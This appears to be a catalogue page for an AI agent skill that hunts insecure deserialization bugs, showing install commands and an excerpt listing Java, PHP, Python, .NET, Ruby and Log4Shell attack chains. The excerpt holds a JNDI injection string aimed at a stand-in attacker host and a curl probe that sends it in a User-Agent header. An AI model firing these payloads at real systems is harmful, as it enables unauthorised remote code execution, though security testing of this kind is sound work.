SKILL.md

hunt-deserialization

Agent skill fromelementalsouls/Claude-BugHunter

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

install hunt-deserialization

# install the Claude-BugHunter pack with the skills CLI

npx skills add elementalsouls/Claude-BugHunter

# or add only this skill to Claude Code: copy the folder

skills/hunt-deserialization/

# into

~/.claude/skills/hunt-deserialization/ (all projects)

.claude/skills/hunt-deserialization/ (one project)

skills/hunt-deserialization/SKILL.md

MITFull file

1# HUNT-DESERIALIZATION — Insecure Deserialization
2 
3## Crown Jewel Targets
4 
5Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
6 
7**Highest-value chains:**
8- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
9- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
10- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
11- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
12- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
13- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
14 
15---
16 
17## Attack Surface Signals
18 
19### Detection Patterns
20```bash
21# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
22echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05
23 
24# PHP serialization: O:8:"stdClass":0:{}
25# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
26 
27# Apache Shiro: rememberMe cookie present
28curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
29 
30# Log4j: test user-controlled fields for JNDI interpolation
31curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
32```
33 
34### Header / Cookie Signals
35```
36Content-Type: application/x-java-serialized-object
37Cookie containing rO0= prefix (Java base64 serialized)
38Cookie: rememberMe= (Apache Shiro)
39…

Excerpt shown under the repository's MIT license.

How to install hunt-deserialization

skills/hunt-deserialization/SKILL.md

More skills in Claude-BugHunter

Newsletter

Join the Community